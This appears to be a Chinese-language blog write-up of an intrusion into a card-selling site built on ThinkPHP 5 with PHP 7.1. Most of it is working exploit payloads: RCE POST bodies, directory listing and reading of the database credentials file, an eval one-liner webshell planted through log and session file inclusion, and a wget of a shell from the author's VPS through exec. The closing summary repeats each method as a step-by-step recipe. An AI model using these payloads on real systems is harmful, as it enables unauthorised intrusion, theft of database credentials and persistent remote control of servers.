0x00 前言
之前接觸tp5的站比較少,只知道利用RCE漏洞getshell的方式。在最近對一個發卡平台滲透的過程中,由於php版本限制,無法直接使用RCE的payload拿shell,於是結合該網站盡可能多的測試一下tp5+php7.1環境下的getshell方法。
0x02 正文
測試中,發現是thinkphp的站,報錯如下
不過看不出來具體版本,不確定是否存在RCE,於是用exp打一下試試
_method=__construct&method=get&filter=call_user_func&get[]=phpinfo
發現執行成功了,disable_function禁用了挺多函數
一般php版本低於7.1的情況下,接下來直接用exp寫shell就可以了
方法一
直接用下面的exp寫shell
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
但是這個exp中使用了assert,而上面看到php版本是7.1.33,這個版本是已經沒辦法使用assert了,所以這里這個方法是不能用的
方法二
上面的exp沒辦法寫shell,但是phpinfo是執行了的,那么RCE是存在的。於是想到可以通過讀取文件讀取數據庫的賬號密碼,然后找到phpmyadmin,就可以通過數據庫寫shell。
於是首先通過phpinfo中的信息找到網站根目錄,再使用scandir函數遍歷目錄,找到數據庫配置文件
_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=路徑
_method=__construct&filter[]=highlight_file&method=GET&get[]=讀取的文件路徑
拿到數據庫信息后,找看看是否存在phpmyadmin,最終發現沒有,於是這種方法也失敗。
在論壇搜索tp5的getshell方法,發現不少師傅說到可以用日志包含或者session包含的方法,但是之前沒接觸過,不知道具體的,於是搜索嘗試一下。
方法三
嘗試日志包含
首先寫shell進日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>
然后通過日志包含來getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo();
方法四
嘗試使用session包含的方法來getshell
首先通過設置session會話並傳入一句話木馬
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1
然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名為sess_sessionid(這個sessionod在Cookie里面)
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();
成功執行,接下來通過蟻劍連接即可
成功getshell
www權限
方法五
上面拿到了shell,但是我還是再嘗試了是否還有其他方法能getshell的。看到一篇文章,是由於disable_function中沒有禁用exec,然后利用exec從vps下載shell文件。
於是我仔細看了下disable_function中禁用的函數,巧了,發現也沒有禁用exec,那么試一下
首先在vps上創建一個test.php,並用python開放一個端口
python -m SimpleHTTPServer 8888
s=wget vps/test.php&_method=__construct&method=get&filter[]=exec
0x03 總結
1.目標網站路徑上輸入錯誤的路徑,顯示網站錯誤頁面是thinkphp,沒有顯示版本
2.輸入tp5.x的RCE poc,顯示phpinfo成功,且disable_function禁用了很多函數以及php版本為7.1.x版本
http://www.xxx.com/index.php?s=captcha
post:
_method=__construct&method=get&filter=call_user_func&get[]=phpinfo
3.下面方法可直接獲得到shell(tp5.x+php7.1.x)
方法一:(php要求低於<php7.1)
http://www.xxx.com/index.php?s=captcha
post:
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert(
方法二:(tp5.x+php7.1.x)
首先通過phpinfo中的信息找到網站根目錄,再使用scandir函數遍歷目錄,找到數據庫配置文件
_method=__construct&method=get&filter=call_user_func&get[]=phpinfo //顯示網站目錄為/www/wwwroot/idj/,且目錄遍歷獲取到網站配置根目錄(/www/wwwroot/idj/data/conf )下存在數據庫連接的php為database.php
_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/
_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/idj/
_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/idj/data/
_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/idj/data/conf
然后通過highlight_file函數讀取文件,並讀取到數據庫的連接用戶名和密碼
_method=__construct&filter[]=highlight_file&method=GET&get[]=/www/wwwroot/idj/data/conf/database.php
如果能找到該網站存在phpmyadmin,就可以通過數據庫用戶和密碼進入,並通過mysql log寫入shell
方法三:(tp5.x+php7.1.x,日志包含)
首先寫shell進日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>
然后通過日志包含來getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo();
方法四:(tp5.x+php7.1.x,使用session包含的方法來getshe)
首先通過設置session會話並傳入一句話木馬
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1
然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名為sess_sessionid(這個sessionod在Cookie里面)
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();
方法四:(tp5.x+php7.1.x,disable_function中沒用禁用exec函數)
首先在vps上創建一個test.php,並用python開放一個端口
python -m SimpleHTTPServer 8888
從vps上下載文件
s=wget http://www.vps.com/test.php&_method=__construct&method=get&filter[]=exec